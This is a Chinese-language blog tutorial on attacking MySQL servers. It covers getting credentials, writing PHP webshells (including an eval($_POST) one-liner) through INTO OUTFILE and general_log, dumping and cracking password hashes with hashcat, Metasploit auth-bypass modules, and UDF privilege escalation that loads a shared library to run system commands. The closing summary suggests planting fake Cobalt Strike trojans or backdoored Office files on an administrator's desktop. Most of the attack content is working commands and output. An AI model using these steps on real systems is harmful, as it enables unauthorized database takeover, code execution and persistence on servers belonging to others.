数据库提权与写马

一、权限获取

数据库操作权限

提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:

1、MySQL 3306 端口弱口令爆破
2、sqlmap 注入的 --sql-shell 模式
3、网站的数据库配置文件中拿到明文密码信息
4、CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

二、获取webshell权限

1、into oufile 写 shell

条件:

1、知道网站物理路径
2、高权限数据库用户
3、load_file() 开启 即 secure_file_priv 无限制
4、网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

2、日志文件写 shell

条件:

1、Web 文件夹宽松权限可以写入
2、Windows 系统下
3、高权限运行 MySQL 或者 Apache

步骤

show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on'     开启日志读写
SET GLOBAL general_log_file='xxx.php'  指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php 
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
201031 21:14:46       40 Query    SHOW VARIABLES LIKE 'general%'
201031 21:15:34       40 Query    select '<?php phpinfo();?>

这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :

-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
前面分别介绍了数据库权限Webshell 权限,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。

三、MySQL 提权

1、Hash 获取与解密

假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:

# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1       | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| %         | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+

# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host      | user          | authentication_string                     |
+-----------+---------------+-------------------------------------------+
| localhost | root          | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys     | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+

获取到的 MySQL Hash 值可以通过一些在线网站来解密
在这里插入图片描述
也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:

hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O

-a 破解模式
指定要使用的破解模式,其值参考后面对参数

- [ Attack Modes ] -

  # | Mode
 ===+======
  0 | Straight                # 直接字典破解
  1 | Combination             # 组合破解
  3 | Brute-force             # 掩码暴力破解
  6 | Hybrid Wordlist + Mask  # 字典+掩码破解
  7 | Hybrid Mask + Wordlist  # 掩码+字典破解

-m 破解hash类型
指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:

12   | PostgreSQL                                       | Database Server
131  | MSSQL (2000)                                     | Database Server
132  | MSSQL (2005)                                     | Database Server
1731 | MSSQL (2012, 2014)                               | Database Server
200  | MySQL323                                         | Database Server
300  | MySQL4.1/MySQL5                                  | Database Server
...

–force
忽略破解过程中的警告信息

-O
–optimized-kernel-enable 启用优化的内核(限制密码长度)
在这里插入图片描述
关于更多 Hashcat 的详细教程参考:国关Hashcat学习记录

2、MySQL 历史上的漏洞

(1)aSSL 缓冲区溢出

MySQL yaSSL SSL Hello Message Buffer Overflow 这个缓冲区溢出漏洞 2008 年开始被曝出来,距离现在已经十几年的历史了,所以这里没有找到对应的环境测试,不过 MSF 里面已经集成好了对应的模块了:

msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello

有条件的朋友可以搭建这个漏洞对应的靶场环境

Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt

(2)CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
在这里插入图片描述
MSF 里面也有了对应的脚本模块可以直接使用,成功后会直接 DUMP 出 MySQL 的 Hash 值:

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run

在这里插入图片描述
这个 MySQL 的 Hash 解密出的结果为 123456

(3)UDF 提权

自定义函数,是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便

手工复现

动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmapMetasploit 里面都自带了对应系统的动态链接库文件。

sqlmap 的 UDF 动态链接库文件位置

sqlmap根目录/data/udf/mysql

在这里插入图片描述
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

# 查看当前目录情况
➜ pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

# 查看当前目录下的情况
➜ ls
README.txt              cloak.py                lib_mysqludf_sys_32.so  lib_mysqludf_sys_64.so
__init__.py             lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll

Metasploit 的 UDF 动态链接库文件位置

MSF 根目录/embedded/framework/data/exploits/mysql

在这里插入图片描述
Metasploit 自带的动态链接库文件无需解码,开箱即可食用。

这里使用 010-Editor 对比了 metsaploit 自带的与 sqlmap 解码后的动态链接库文件,发现他们的内容一模一样。

下面来看下动态链接库里面有包含了哪些函数:
在这里插入图片描述

寻找插件目录

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:

mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来:

mysql> select @@basedir;
+------------------+
| @@basedir        |
+------------------+
| /usr/local/mysql |
+------------------+

写入动态链接库

写入动态链接库可以分为下面几种情形:

SQL 注入且是高权限plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击

sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

在这里插入图片描述
(1)如果没有注入的话,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:

# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:

SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

为了方便大家直接复制,在线网站:MySQL UDF 提权十六进制查询

ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

如果看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的

创建自定义函数并调用命令

mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+

这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:

mysql > select sys_eval('whoami');

如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的

删除自定义函数

mysql > drop function sys_eval;

跟多提取方法参考:国关

反弹端口提权

实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些

MOF 提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了

启动项提权

这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行

CVE-2016-6663

。。。。

文章总结

现在文章思路慢慢变成了 MySQL 可操控文件怎么将这个危害扩大影响的问题了。可以往管理员桌面上写一个伪造的 CS 木马,如果对方 Office 有漏洞的话可以写入一个带后门的 word 文件,也可以篡改用户常执行的文件等 这样发散开来就变的很广了,总之实际场景实际分析,大家在渗透的时候也可以多多思考更多的可能性,万一就成功了呢。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值